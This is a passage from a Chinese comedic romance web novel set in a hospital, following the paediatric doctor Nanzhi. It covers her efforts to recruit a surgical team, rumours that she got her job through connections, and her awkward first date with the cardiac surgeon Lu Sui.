祁念珍道:“神外得问汤院长,医院现在没有MRI,如果情况严重,会推荐患者去其他医院。” 简单来说,神外和康宁曾经的儿科一样,挺清闲的,不如神内发展得好。 认真说起来,康宁医院能做的复杂手术不多,心外可以做复杂手术,完全是因为有陆随、箫珵几人在。 南栀试图游说祁念珍,“敬爱的祁院长,其实咱们医院人才还是挺多的,但是医院的设备跟不上,这太影响我们发挥了。” 祁念珍挑眉。 南栀满脸写着“谄媚”二字,而且是虚假的谄媚。 “我给你个建议。” 南栀眼巴巴看着祁念珍。 祁念珍语重心长:“你可以走凶巴巴的路线,和你的说话风格比较配,不适合自己的路线不要走。” 南栀:“……” 她这明明是职场的说话艺术。 “设备的事,得找院长,”祁念珍敲着桌子提醒南栀,“你得证明,咱们医院有人能动这个手术,否则进了设备也没用。” 中午在食堂吃饭,南栀还在默念,“得证明能动手术、能动手术、能动……” 但在康宁医院,谁会让南栀动手术? 南栀头一次感受到压力。 这压力竟然不是她不能做,而是没人信她可以做。 阮乔趁机把南栀餐盘里的肉往自己盘子里夹,食堂阿姨真怪,每次看到南栀都要多给两勺! 整整两勺! “你做一台手术证明自己不就好了?” 南栀问:“我给谁做手术。” “你给……”阮乔指着韦宁雨的头说,“我把他的头敲碎,你给治好,不进手术室了,就当着大家的面做。” 韦宁雨:“……你还是个人?” 南栀认真地打量韦宁雨。 韦宁雨:“你俩还是个人??!” 盛昭云慢悠悠晃到南栀旁边,“呦,回来了。” 南栀热情地打招呼,“恭喜盛主任!!” 盛昭云面带微笑,心情很好。 现在她是“盛主任”,还不用操心儿科的琐事,还有比这更完美的岗位? 盛昭云坐下,“也没人给你接风洗尘?” 阮乔趁机说道:“要不我们找个时间去吃饭?韦宁雨请客。” 韦宁雨挺直腰板,“没问题。” 南栀好奇道:“你发财了?” 阮乔坏笑道:“韦利人没了,韦家还给他留了遗产,真搞笑,活着的时候不好好对他,死了还记得有这么个人。” “我是一分钱都不会要的,”韦宁雨强调道,“而且只给我留了一点点,百分之九十五都是韦初雪和她妈的。” 不过韦初雪的妈妈也被牵扯进丑闻里,这些钱还要拿出去一部分做赔偿,总之韦家现在已经是一团乱麻。 韦初雪留在康复医院也挺好,起码不会被这些事打扰。 韦宁雨说:“我,伟大的任俊,已经开始创业,并且赚到了第一桶金,一万元人民币。” 南栀惊讶道:“你去抢劫了?” 阮乔:“抢的是银行吧?” 盛昭云:“身手不错。” 韦宁雨:“……,我开了个小店!!卖通讯设备!” 南栀:“噢。” 过几年小灵通流行起来,韦宁雨还能再赚一大笔。 南栀说:“进货的时候记得来找我,我不让你囤的货,千万别囤。” 韦宁雨问:“你在质疑我的眼光?” “这么说吧,”南栀放下筷子,“你觉得三十年后,我们会用什么方法通信?” 韦宁雨绞尽脑汁道:“现在有大哥大,但是大哥大携带不方便,肯定会慢慢缩小,恩……缩小版的大哥大?或许还会有屏幕,说不定是彩色的屏幕?” 南栀赞叹道:“差不多了,马上就能有流行了。” 韦宁雨:“……” 他不服气道:“那你倒是说说能用什么?” “手机?”南栀描述道,“触摸屏,全部都是屏幕,能连接各种设备,比如更大的手机或者电脑,有各种各样的软件,可以视频,随时看到对方的状态,还能打游戏,不同地区的人可以同时打一局游戏。” 韦宁雨:“……” 他评价道:“你去和箫珵一起写小说比较好。” 盛昭云说:“萧医生写的‘科幻’小说被出版社看中了,可惜他没写点儿星球大战。” 只有阮乔一脸期待:快点老快点老!她要玩!! 陆随和箫珵一前一后走过来,“聊得这么开心?” 箫珵把陆随按到南栀另一边坐下,自己坐到陆随对面,也在阮乔旁边。 阮乔和韦宁雨一见这场面,纷纷埋头吃饭,顺便偷偷吃瓜。 南栀离开前,陆医生表白了,还被南栀狠狠拒绝,这事阮乔还记得。 阮乔记得的事,韦宁雨自然也知道。 绝对不是她爱说八卦,单纯是因为……担心南栀。 对,是担心南栀! 南栀想到刚回临川时答应箫珵的事,她应该多和陆随接触,克服心里的不适。 于是南栀主动表达自己的友好,夹起两块鸡肉…… 她的肉呢? 陆随问:“改吃素了?” 南栀:“我……” 神秘的鸡肉消失事件。 阮乔抬头看天花板。 不怪她啊,阿姨就给她打一勺,还抖了一半,总共只有两块肉! 这是歧视!这不公平! 陆随看了眼阮乔,起身道:“再去买一份。” 阮乔嘿嘿坏笑,幸好她不要脸,不然怎么看陆医生和南栀的瓜? 闫民怀和其他心外的医生也陆陆续续走进来,南栀附近的人越来越多。 他们的位置恰好在食堂正中央,还有人主动搬了桌子过来,两张大桌子拼到一起。 食堂被他们吃成了大饭店的感觉。 其他医生先是纳闷,接着看清楚是儿科和心外。 …… 这俩科室又开始作妖了。 奇怪了,不是安静了两个多月吗? 但是没办法,现在没人敢得罪这俩科室。 阮乔察觉到其他医生的目光,骄傲地挺起胸,“我们这也算是王牌科室坐在一起吃饭了。” 南栀左右看去,“王牌科室在哪里?” 阮乔:“……” 她指了指面前的桌子,“就是我们!还有心外!” 南栀倒吸一口冷气。 康宁医院的儿科都是王牌了? 彻底没救了。 “你走的时间太久,还不知道情况,你不是写了好几篇和克罗恩病有关的论文吗?还有陆教授来医院的那段时间,咱们名气起来了,现在有很多消化系统这方面的病往咱医院送呢,不然你以为科室怎么会调来这么多医生?如果还和以前一样,人家愿意来吗?” 这倒是有些道理。 南栀问:“那心外呢?” “心外一直以来都很牛啊,咱陆医生和萧医生敢开其他医院不敢开的刀,你都不知道,连院长又给心血管添设备了。” 阮乔压低声音,“尤其是你的陆医生,真会操作,每做一台手术,都得拿出去宣传宣传,知道的人多了,大家就觉得咱们心外好,愿意来看病了。” 如果恩德医院当初也采取正当的竞争方式,现在不至于一蹶不振。 南栀看向陆随。 陆随道:“不用太佩服。” 南栀:“不会的,你放心吧。” 陆随:“……” 他是白给南栀打饭了。 说好的要接触接触,她就打算这样接触? 南栀说:“你能帮我宣传宣传吗?我也想动刀子。” “你们的问题在于宣传吗?”陆随问,“如果现在有一个患者,愿意接受治疗,你能拉来一个手术团队吗?先不说麻醉医生还有护士们,你的助手够用吗?” 阮乔举起手,“我愿意。” 盛昭云道:“我不太喜欢动手术,上学时也没把重心放在外科上。” 没人了。 陆随说:“你起码要先拉起一个手术团队,看看有没有能带上台的医生。” 儿科的几位医生,主任和副主任不用考虑,就只剩下阮乔、南栀、魏联和邢小谷。 魏联脾气不好,邢小谷看起来专业不行。 还有几个住院医生,水平还没阮乔高。 而且人家是在康宁的儿科工作,说不定都没接触过外科。 南栀说:“我觉得还是把韦宁雨的头打爆比较容易。” 陆随:“?” 韦宁雨:“……” 阮乔举起餐盘,“我来打吧。” 韦宁雨:“……” 食堂中央热闹得不像话。 汤兴生和几个院领导也来食堂吃饭。 平时汤兴生不喜欢来食堂,他喜欢出去吃,食堂的口味他欣赏不了。 但出了韦初雪那件事后,汤兴生行事风格改变不少。 其他领导为了表示自己的“亲民”,也都来食堂吃饭。 他们一来就看到热热闹闹的“大桌子”。 汤兴生皱起眉。 副院长武涛也皱起眉,“哪个科室的医生,来食堂聚会?太不像话了!” 连争在两人身后。 作为院长,他当然是拐弯时被迫留在后面的,好在连争不在意这些。 祁念珍说道:“哦,是心外的几个医生,陆随、箫珵,汤院长、武院长,要去训吗?” 汤兴生:“……” 武涛:“……” 这俩不行,这俩是他们康宁医院的门面。 武涛说:“心外有这么多人?” “剩下的是儿科的,”祁念珍道,“有刚从首都回来的南栀,还有盛昭云,你想训谁?” 武涛:“……” 去首都的听起来很厉害。 至于盛昭云嘛……这人脾气不好。 连争咳了一声。 武涛和汤兴生立刻退到连争身后。 连争慢悠悠道:“休息时间,就该彻底地休息,只要不耽误工作,什么都好说。” 武涛赶紧顺着台阶下来,“您说得对。” 连争打好菜,去找空桌子。 他不太喜欢在人前露面,尽量找低调的桌子。 但毕竟身份在,他刚进来时就有医生在和他打招呼,正在吃饭的医生甚至还站起来打招呼。 职场,这就是职场。 唯一没搭理他的就是最中间那桌,他们正在聊—— “你要拉起一个团队来,要多想办法,医院也是职场,得动脑子。” “我最擅长应付职场了!我会说话!” 连争:呵呵。 连争打算溜走。 然而坐在陆随旁边的女医生忽然抬起头。 她的目光在连争身上一扫而过,下一秒又移了回来。 连争已经做好她来打招呼的准备,却见女医生目光炯炯有神。 不像是在看院长,更像是……老虎在野外捕捉到猎物。 南栀:设备设备设备设备来了! 在陆随的“提点”下,南栀决定先按兵不动,多接触儿科其他人。 目光不能只放在儿科,还得去神外看看,那边的医生可是都能直接上台的。 南栀仗着自己还没进排班表,当天下午就跑去神外打算考察一番。 神外的门诊冷冷清清。 倒是有人,但和其他科室比起来,尤其是和儿科相比,可以说是门可罗雀。 南栀敲了敲门,打开神外门诊神圣的大门,然后愣住。 诊室里没有患者,两个医生面对面瘫坐着。 好像有点儿老年痴呆。 南栀:“……” 俩医生看到南栀后跳起来,“来看病?啊不对,你是哪个科室的,有事?” 南栀:“……” 她的路又被堵死了。 南栀心如死灰。 回到儿科,南栀去找阮乔。 阮乔和魏联在同一个门诊,两个人脾气不对付,几乎不说话。 这挺罕见的,毕竟阮乔喜欢长得好看的人,魏联的模样不错,虽然是单眼皮,但也是五官端正的单眼皮。 可见魏联的脾气究竟有多不好。 南栀进来,魏联眼皮都懒得动一下,“小孩子看那么紧做什么?什么都小心翼翼,以后上学了,你给他包个车塞进教室里得了?你能跟着他一辈子?” 家属被训得不敢说话。 阮乔在心中默默流泪。 瞧瞧,轮到她,就只能被家属训了。 南栀闲得无聊,问:“住院部现在有情况复杂的病人吗?” 阮乔说:“你熟悉的小朋友基本出院,井珧倒是在,不过只是肺炎,现在已经控制住。” “又肺炎了?”南栀说,“他感冒发烧的次数,比我十年都多。” 阮乔坏笑道:“那你多关心关心陆医生呗,陆医生从首都回来以后又感冒了,他现在是经常感冒。” 从首都回来…… 那两天陆随陪南栀玩了两天,南栀没看出异常。 两人正说着,魏联忽然抬眼瞥向南栀,接着轻呵一声,然后一连串念了好几个号。 南栀:“?” 阮乔:“你看什么?我们又没闲着。” 魏联冷笑道:“走后门就低调点儿,看什么疑难杂症。” 阮乔:“?!,开什么玩笑,整个儿科只有南栀能看,南栀!对吧!” 南栀问:“走后门的是谁?” 阮乔:“……” 南栀奇怪道:“咱科室有走后门的嘛?” 魏联:“……” 还装傻,遭人嫌弃。 魏联说:“做医生和其他行业可不一样,走后门进来,草菅人命。” 南栀好奇道:“谁啊?出人命了?康宁医院吗?住院部?” 魏联:“……” 他拍了下桌子,刚想吼几句爽一爽,就听到家长小心翼翼问道:“医生,我们孩子……是没救了吗?” 医生怎么会生这么大的气啊?? 魏联:“……” 一整个下午,阮乔叫了有九十多个号。 来找魏联的病人更多,他有一百多个号。 南栀原本想帮魏联分摊一些,但人家明摆着不待见她,于是她便分走阮乔一些病人,两人合作,挂的号很快看完,接下来只要等临时过来挂号的病人。 阮乔笑眯眯地看着忙碌的魏联,“有人帮忙真好。” 南栀伸了个懒腰,“早下班真好。” 阮乔:“下班后出去吃饭?不对,盛昭云今晚没空。” 南栀说:“我和陆随约好去吃晚饭。” “你俩有突破?” 南栀耸肩,“先试试呗,我哥说我这是心魔,我怎么不觉得我有心魔?” 箫珵不提父母的事,她都快忘记不久前回忆起的那些事了。 阮乔道:“我看你是有意去忘记,你可能在给自己心理暗示,还是把心魔去了好,不然过几天你又控制不住了,心情又被影响,反反复复的,真得心理疾病怎么办?我听说有种病叫什么……抑郁症?” 南栀觉得很有道理,“成,我去试试。” 陆工具人随打了好几个喷嚏。 有人念叨他? 魏联的脸色越来 越臭。 他干活就算了,怎么还有闲聊的人? 这比干活更让人生气!! 阮乔见状,瘪嘴道:“我刚刚可问你了,要不要帮忙,你说南栀走后门,不乐意搭理我们。” 南栀震惊:“他说我走后门??!” 阮乔:“……” 才知道啊? 南栀不理解,“我需要走后门?我?是说我?” 是说常年第一名、连续跳级、提前升入大学、本科学完研究生内容、被小儿权威医生陆教授和舒教授看中的她走后门吗? 阮乔:“……” 她好像能理解南栀为何不理解,但又有点儿生气。 聪明的人和富有的人都会惹人生气! 魏联的脸色更臭了,比臭水沟的鱼还臭。 “你不是心外那个医生的女朋友?没学历,靠他进来的。” 魏联来医院的时间不长,但刚调过来就知道儿科有位医生人在首都。 按理说这该是人人羡慕的,奈何南栀的档案比较诡异,她没有学历。 大家都很好奇,再一打听,才知道这是陆随的女朋友。 于是答案呼之欲出。 南栀更震惊。 她做医生,需要走陆随的后门?! 陆随?? 南栀:“大家都这样想?” 魏联点头,“对喽。” 南栀:“那你们……” 魏联挑眉,等着南栀的解释。 南栀说:“那你们还怪坏的哦。” 都把刻板印象发挥到极致了。 魏联:“?” “你不是靠走后门,是怎么进的康宁医院?” 南栀不假思索道:“当然是凭能力。” “你?什么能力?” 南栀:“那可太多了,一时半会儿讲不完。” 她认真想了想,说:“怎么也得夸个三天三夜吧。” 魏联:“……” 阮乔:“……” 第89章 第89章走后门协会 南栀的处境不太好,阮乔有点儿替南栀着急。 但苍白的语言好像无法将此事解释清楚,阮乔思来想去,还是觉得……直接把韦宁雨的头打爆最好。 可惜了,这得进局子。 下班时间一到,陆随就出现在儿科诊室门口。 魏联倒是很会控制时间,刚刚好看完所有小朋友。 阮乔冲着陆随坏笑,“陆医生挺积极的嘛,平时最忙了,今天还能准时下班。” 陆随:“……” 他镇定道:“箫珵把我赶出来的。” 箫珵在南栀和陆随这件事上格外上心。 如果不是知道他只把陆随当成工具人,陆随都要感动了。 果然箫珵就是箫珵,这人是不会安好心的。 阮乔说:“他也是关心你,你俩是好朋友嘛。” 陆随震惊,“朋友?我俩?” 阮乔点头,“你俩形影不离的,关系堪比我和南栀。” 陆随:“?!” 他的三观受到冲击。 魏联平时下班最积极,他几乎不会和同事闲聊,每天踩着点儿上班,到点儿就走。 不用做手术就是有很多好处。 现在他没走,而是冷眼看着陆随和南栀。 还说不是走后门? 还说他刻板印象? 阮乔问:“你俩要去约会?去哪里?” 陆随说:“去能约会的地方。” “舞厅?唱歌?公园?” 陆随和南栀已经商量起来,“有点儿想买书,新华书店还开门吗?” “开了一家新的新华书店,书比较全。” “那就去书店好了。” 阮乔:“……” 去书店约会?神经病啊! 南栀:“晚上吃什么?” 阮乔说:“两个人,西餐?比较浪漫,就是贵了一点儿,不过陆医生有钱。” 南栀:“没什么特别想吃的,要不去吃面?” 陆随:“都可以。” 阮乔:“……” 真是一场浪漫的约会。 阮乔忍无可忍,“你们真的知道什么叫约会吗?你俩到底会不会谈恋爱!” 南栀很肯定地点头,“当然会。” 陆随:“我又不是傻子。” 阮乔问:“哦?那你们给我讲讲,情侣该怎么走路?” 南栀说:“走路还有规定?抬起脚,往前走啊。” 陆随比南栀聪明些,他懂得思考:“……走正步?” 阮乔:“……” 谁家约会走正步! 阮乔生无可恋,“是牵手!牵手!情侣之间还要做什么,知道吗?” 这回南栀和陆随都谨慎了,两人凑在一块神秘兮兮地讨论答案,“都是情侣了,拿到的资料得分享吧?不能藏着捏着。” 陆随表示,“我可没藏过资料。” 南栀:“但你上学的时候,也没对我有帮助。” 尤其是她去找箫珵时,他还总斜眼看她! 陆随:“……奶奶的资料你要看吗?我可以偷拿出来。” 阮乔:“……” 这是两个学霸商量出来的答案吗? 谁家情侣要在意这些破事!! 阮乔抓住南栀的头发,轻轻往回拉,“祖宗,情侣是要牵手、拥抱、接吻的!万一你俩结婚了,你俩还得……” 魏联猛咳了好几声。 听不下去了,要厌蠢了。 他古怪地看着陆随。 陆医生看着挺像正常人,这什么脑回路?? 南栀:“这我当然知道,房事、性行为。” 陆随道:“这不需要教吧?” 阮乔原地爆炸。 魏联:“……” 他抓起钱包开溜。 再听下去,他也得变成傻子。 南栀狐疑地看向陆随,“这些你都会?” 陆随:“……” 他硬着头皮淡定道:“没有男人不会。” 南栀:“有经验?” 陆随:“……,有本能。” 南栀若有所思,“听你们姓卢的舍友说,其实还是有女生追你的,看来……” 陆随:“本能!!” 南栀其实还真不知道谈恋爱该做些什么,在她看来,就算谈恋爱也不能影响正事,所以约会时顺便做正事是最好的。 而且她念初中时见过班里的同学谈恋爱,两个人学习都不错,一下课就在一起讨论问题,连老师都不管他们,甚至很想号召大家学习他们。 等到读高中…… 读高中南栀就基本见不到情侣了,她的舍友在谈恋爱,比较喜欢去小树林。 呃,去小树林干嘛? 南栀犹豫道:“要不我们也去小树林?” 阮乔:“……” 她朝陆随龇牙咧嘴,“你敢在婚前碰我们小栀栀!!” 陆随:“?” 他碰了下南栀,“怎么了?” 阮乔:“……” 算了,让地球毁灭吧。 阮乔的反应引起两位学霸的警觉,在深度讨论后,两人得出结论,阮乔所说的“碰”,可能不是陆 随理解的“碰”。 陆随很无语,“这种事还要找这么多说法,无聊。” 南栀赞同道:“直接说就好了嘛,又不是见不得人的事。” 阮乔:“……” 其实还是有点儿不能见人的吧? 她觉得她的思想够开放了啊?? 南栀说:“课本里学过的,这是男女间的正常行为,不需要有其他看法。而且课本应该详细地教给孩子们,不应该避开**的话题。” 阮乔不想避开,她只想捂耳朵。 她本来挺不好意思的,但听南栀说得多了又……好像也没什么? 家家户户都有孩子,谁不知道这是什么意思哦? 干嘛非要委婉地说出来? 明明是大家都知道的事情,有什么见不得人的?! 阮乔:明天她也直接说**(假的)! 经过阮乔的点拨,南栀受益匪浅,打算找个机会和陆随“牵手”。 仔细想想,她听到陆随表白时,脑中曾闪过男女亲昵的画面,或许这就是她害怕的。 于是南栀时时刻刻留意机会。 陆随开车,不方便牵手。 陆随停车,不方便牵手。 陆随…… 他停好车,南栀坚决道:“今天最好有进展。” 陆随:“恩?” 南栀:“不能把时间耽误在这种事上!” 陆随:“哦……” 他又没有心理障碍,他只是个听话且随时可能被丢掉的乖巧工具人。 陆随朝南栀伸出手,“做什么?牵手?” 南栀指着路边黑暗的小旅馆说道:“开房啊。” 陆随:“……” 倒也不用这么急。 陆随顺手抓住南栀的手,“害怕吗?” 他们不是没有近距离接触过,以前南栀都没在意。 陆随的手很暖,手心有薄茧。 他苏醒后经常感冒,为了强身健体,也是为了有好体力做手术,陆随一直有在锻炼。 亲密接触的皮肤逐渐有了温度,南栀盯着陆随的手看。 ……好看。 做手术时更好看。 南栀的脸诡异地红了。 她抬眼和陆随对视,陆随愣了一下,看到南栀的反应,他的脸颊也迅速泛红。 两人同时收回手。 “咳,先去书店。” 不远处,箫珵和阮乔从树后走出来。 阮乔:“像小学生在谈恋爱。” 箫珵说:“小学生都比他们强。” 牵个手都维持不到两秒,这俩人真懂什么叫恋爱?? 阮乔:“这我可以向你保证,他俩真的懂什么叫钻小树林。” 她刚科普过呢。 箫珵:“……” 尚延重新调整了排班表,南栀被排了门诊,次数和邢小谷相同。 儿科的门诊目前有三个,四人轮着来。 魏联的次数最多,阮乔其次,南栀和邢小谷相同,这说明在尚延心目中,这两人水平差不多。 虽说一般也不会根据水平排班,但南栀想,她和邢小谷的名字出现在一起,显然不是偶然。 邢小谷的年纪也比南栀大,而且穿得珠光宝气,有点儿显老。 她热情地和南栀打招呼,“你也是来混日子的?哎,你怎么钓到陆医生的,陆医生长得帅,这个后门走得可真好。” 听邢小谷的语气,她们像是“走后门协会”之间的交流。 对于女生,南栀得客气些,她解释道:“我进医院后才认识陆随的。” 邢小谷朝南栀挤眉弄眼,“后来靠陆教授才去首都的嘛,我懂。我就是眼光不行,后门找得一般,也没能去首都,现在只能留在康宁医院混日子。” 南栀:“……” 邢小谷说:“你有时间教教我,怎么才能钓陆医生这种鱼呢?我觉得咱们医院的萧医生也不错。” 南栀问:“你还没有男朋友吗?” “有啊,”邢小谷说,“我就是靠我男朋友的关系才进来的。” 南栀:“那你……” 邢小谷:“多找几个备用嘛,男人还能有什么用?” 南栀陷入沉思。 今天邢小谷不去门诊,南栀、阮乔和魏联去。 快到时间,魏联走在最前面,显然没有和南栀为伍的意思。 阮乔低声对南栀说道:“我昨天晚上和我妈一起住的,听到一些有趣的事情。” “什么呀?” “就前面这位,”阮乔努努嘴,“魏联,是从隔壁市过来的,听说读研究生时,一直在攻外科,后来不知道为什么没去。” 南栀问:“他水平怎么样?” “挺不错的,有点儿咱们盛主任的影子。” 南栀眼前一亮。 她的手术团队、她的助手这不就来了吗?! 南栀说:“我应该拉拢他,对吗?” 阮乔点头。 南栀:“既然要拉拢,就得找话题先熟悉起来,不能反驳他。” 阮乔:“……是的。” 道理都对,但从南栀嘴里说出来,怎么不对劲呢? 南栀追上魏联,“你好。” 魏联:“?” 南栀想到他们曾经讨论过的话题,“有关走后门的事,如果你认为我是走后门进医院的,那就是。” 魏联:“……” 第90章 第90章神医 在南家,黄春兰和南明杰还是比较关心南栀的婚事的。 陆嘉述愿意帮南栀牵线搭桥,这让黄春兰对于两人家庭的差距放心不少。 尽管她始终认为不论男女都应该找门当户对的另一半。 南栀早上起来,看到南明杰在做早餐,黄春兰坐在厨房门口看书。 黄秋兰带黄春兰去图书馆办了借书证,黄春兰来到临川后才知道还有能免费看书的地方,每周都要去两次。 最开始她看的书很散,没有明确的目标,现在她只喜欢看文学类的书籍,偶尔还会写几篇读后感。 南栀是理科生,没有浪漫细胞,但她能看出黄春兰真有几分文采。 如果不是黄岩虎一点儿都不作为,黄春兰也能凭自己的实力离开大桑村。 黄春兰迷上看书,家务活就只能交给南明杰,好在南明杰不是懒散的人,一直都有做家务,做饭水平虽然不如黄春兰,但也能凑合。 奶奶蹲在厨房门口教育南明杰,“我真不明白为什么会生出一头猪。” 奶奶:“真是猪还好了,过年还能杀了吃肉,免了买猪。” 奶奶:“你呢?你不光没肉可吃,还得倒贴钱,得供你吃穿。” 南明杰无奈道:“妈,我每次做饭,您都骂我。” “我是骂你吗?我是恨铁不成钢!你俩刚结婚,我教你俩做饭,人家春兰怎么学得那么快?你怎么就跟不上学习节奏?人家学两道菜,你才学会一道菜,你是不是跟你那个死鬼老爹一样想偷懒?我告诉你,他偷懒偷到地府去,下面可没人给他 做饭,他做鬼都得饿死!” 南明杰同志深深地怀疑起自己的厨艺来。 他觉得还凑合啊?? 今天天气不错,连续几天风雨天,太阳终于露面。 有邻居搬着马扎凳坐在南家门前,和奶奶唠家常,“你不催儿媳妇赶紧再生一个?家里没个小子,将来可咋办?” 奶奶的火力立马转移,“能咋办?你生一个呗,生下来抱到我家。” 邻居脸色微变,“我的孩子怎么抱到你家?” “咋不能?” “……我都多大岁数了,再说就算生了,我的孩子和你有啥关系?” 奶奶:“那我家有没有孙子和你有关系吗?一天天的咸吃萝卜淡操心!” 邻居:“……” 有奶奶在,南栀完全不用担心黄春兰和南明杰这俩老好人被欺负。 南栀匆匆吃了几口早饭,拿了个馒头就跑。 黄春兰最近沉迷阅读,没时间给她的女婿煲汤了。 儿科的医生基本上没有迟到的,都到得很早,南栀到时,其他三个主治医生都在。 阮乔和南栀抱怨道:“盛昭云同志的办公室真远,见她一面真不容易,我怀疑她想脱离队伍。” 邢小谷道:“盛主任和卢主任在一个办公室,也挺惨呀。” “她惨?”阮乔啧啧了好几声,“我看是卢主任更惨。” 邢小谷不太明白,盛主任看起来比卢主任好相处。 南栀没有加入闲聊的队伍,她拿着香喷喷的大馒头去找魏联。 魏联正看期刊,他慵懒地靠着椅子,一手翻书,享受难得悠闲的时光。 南栀满脸笑容,狗腿地凑上去,“魏医生,吃早餐了吗?” 魏联瞳孔瞬间放大。 南栀说:“瞳孔不对劲,要送急诊室的哦。” 魏联:“……” 瞳孔强行缩小中。 魏联先把期刊收好,想了想,又把桌面上的东西都推到里面,用身体挡住,然后戒备地看着南栀。 南栀说:“我有买期刊,不会抢你的。” 不远处的阮乔和邢小谷很无奈。 亏南栀想得出来,谁会认为她是要偷书? 魏联松口气,“那就好。” 阮乔&邢小谷:“……” 南栀献上铝饭盒,饭盒里有两个白白胖胖的……大馒头。 “魏医生吃吗?我爸蒸的,特别好吃,纯白面做的。” 邢小谷低声问:“南栀在讨好魏联?” 阮乔说:“有可能。” 邢小谷:“!,真丢我们走后门人的脸!” 怎么能去讨好一个主治医生! 阮乔:“……” 邢小谷又问:“可是用馒头能讨好人吗?” 她讨好别人,要么用钱,要么用钱,要么是用钱。 阮乔说:“肯定不能,谁会在意两个馒头。” 魏联的目光落在铝饭盒里再也没出来过:“……看着不错。” 阮乔:“……” 邢小谷感慨道:“阮医生,说实话哈,我一直认为你不太正常,看到南栀和魏联后,我发现你还不错。” 阮乔:“你也不正常!!” 魏联没能抵抗得住馒头的诱惑,收下馒头,但对南栀仍有戒备之心。 南栀说:“有什么需求都要告诉我哦,我一定一定努力满足你,加油!” 恰好陆随来送一个心脏病患儿的报告单,看到南栀坐在魏联旁边,十分狗腿地一幕。 陆随挑起眉。 哦,今天他都不需要当工具人了? 偏偏魏联对南栀的殷勤还很不满,“离我远点,不要和我说话,放下馒头!” 南栀依依不舍地和他道别,“遇到麻烦也要来找我哦。” 南栀搬着板凳回自己的工位。 路过陆随时,南栀瞧了他一眼,面露惊讶。 陆随冷笑一声,看来他今天还有做工具人的荣幸。 接着南栀便对魏联说道:“忘了给你咸菜了!!” 陆随:“……” 陆随试图引起南栀的注意,“工具来了,明白?” 南栀茫然道:“心外能有什么我们需要的工具?你们开胸也要钻头?” 陆随:“……,我,工具,明白?” 南栀说:“我们不用工具,报告给我好了,你走吧。” 陆随:“……” 阮乔和邢小谷倒吸好几口冷气。 心疼陆医生的第一天。 陆随有点儿郁闷。 送报告这活儿本来不该他来做,如果不是年资还不够,这次凭职称,他怎么也得混个副主任做做。 结果就这。 陆随沉着脸回到办公室。 箫珵随口问道:“见到我妹了?” 陆随的反应极其冷淡,“哦。” 箫珵说:“她为了找人焦头烂额了吧?” 陆随想到南栀的狗腿样,说:“呵,也不见得是为了找人。” 箫珵:“?” 陆随有点儿奇怪。 箫珵更关心南栀的状态,他说:“她不懂如何维护人际关系,不太好。” 陆随:“呵呵,她以前不就这样?” “以前?” “刚上大学,咱们班的赵宗梁想追她,给她送礼物,她以为人家是掉东西了。” 箫珵笑出声,“是有这么回事,送的还是鲜花,南栀还给他,赵宗梁的脸都绿了。这兔崽子为了挽回面子还说是南栀给他送花,后来不知道被谁戳穿……等等,你怎么会知道?!” 南栀说她和陆随是来到这个世界才认识的。 可陆随口中的这件事,发生在他们原本的世界,而且是南栀刚读大一,他和南栀相认没多久。 箫珵当时颇有一种自家白菜被猪拱的感觉,怎么看赵宗梁都不顺眼。 他记得很清楚,当时的陆随几乎不会过问班里其他事。 他怎么知道的?! 陆随:“……” 他收拾好东西往外溜,“我今天有门诊。” “站住!”箫珵追上去,“你早就关注她了?你图谋不轨?!渣男!” 陆随溜到办公室外。 箫珵试图追上他。 二人离开,闫民怀才露出头,“呃,陆哥不是有未婚妻了吗,儿科的南栀,怎么还对萧哥的妹妹感兴趣?” 郤文曜道:“吃着碗里的看着锅里的。” 闫民怀:“真难看!!” 魏联对南栀的接近十分抗拒。 中午吃饭,南栀和阮乔结伴去食堂,盛昭云和韦宁雨已经坐好。 他们四个人一直是在一起吃饭的,为此卢含娇副主任还特别有意见,认为盛昭云应该有主任的派头。 当然盛昭云并不会搭理她。 南栀看到魏联,主动邀请道:“魏医生,一起吃。” 魏联看南栀的目光就像耗子看见猫,“你又想干什么?!” 南栀笑眯眯道:“邀请你一起吃饭啊。” 魏联:“?” 她想下毒? 她想暗中动刀? 不对,南栀只会比这更加恶毒。 她想抢他碗里的肉!! 一定是这样! 魏联果断拒绝,“不去。” 南栀说:“咱们儿科的医生,就要凑在一起,不然人家还以为咱们科室内部有矛盾呢。” 魏联:“没有吗?” 阮乔知道南栀的心思,主动上前架住魏联,“咱们儿科绝对是最团结的科室。” 南栀与阮乔合力将魏联困在中间,一起往前走,“是全市最团结的!” 魏联:“……” 救命,他的肉不保!! 魏联坐在四人中间,怎么都不自在。 “我不习惯在人多的地方吃饭。” 南栀立刻说:“我们都认识,我向你保证,咱们这桌虽然人多,但绝对是整个食堂最安静的,你尽管放心。” 魏联:“?” 他不太放心。 盛昭云问:“你在打魏联的主意?他的条件可比陆医生差远了。” 魏联不服气,“哪里差?” 阮乔真诚建议道:“你别问,你问了她真敢说。” 魏联:“……” 他鄙夷地看向南栀,“总比她走后门强。” “走后门?你是说陆教授?”盛昭云道,“陆教授可不会因为南栀和陆随的关系就把她推荐到首都医院,她更看重个能力。” 魏联:“能力?她?” 盛昭云慢悠悠道:“小栀的能力有目共睹。” 魏联露出神秘微笑。 要给盛主任留点儿面子。 毕竟上次他和病人家属吵架,盛主任放过他了。 魏联一边吃饭一边向南栀下最后通牒,“你不要总想着谋害我,我不吃你这套。” 他把餐盘挡得严严实实的。 南栀:“我又不是想偷你的肉,怎么会有这种人?” 一旁虎视眈眈的阮乔:“……,哈哈,没这种人的。” 魏联道:“我看你就是邪恶,你说吧,到底有什么目的。” 南栀不会拐弯,她真诚道:“我希望我们能合作,我们……” “合作?!我和你?”魏联立刻拒绝,“绝对不可能,你配不上我。” 阮乔:“……” 怎么有表白被拒的感觉? 南栀完全没懂她有哪里配不上魏联。 她深思熟虑很久,斟酌地问道:“魏医生,你是不是……眼神不好?” 魏联:“?” 南栀说:“我看过你在门诊工作的状态,你听诊蛮厉害的,是个好医生,但……我怎么会比你差?” 她还从来没听过这话呢。 魏联在两秒钟内迅速红温。 作为天天和患儿家属吵架的暴脾气,魏联以为他的气已经撒够了,不会和同事吵架。 现在他很想吵!! 南栀还想再说几句,阮乔拼命拦着,“你不是需要人手吗?要说好话!说让对方开心的话!” 南栀:“……,行吧,我不如你。” 魏联:“……” 更气了!! 陆随和箫珵走过来,看到和魏联挨着坐的南栀。 箫珵:“这谁啊?” 陆随冷声道:“别人。” 箫珵:“?” 陆随坐到南栀对面,盯着她看了一会儿,又去看魏联。 箫珵问:“你们在聊什么?” 韦宁雨嘴很快,“聊南栀能不能配得上魏联。” 随后走过来的闫民怀和郤文曜很惊悚。 南栀不是陆随的未婚妻吗?这,这……他们的关系这么乱?? 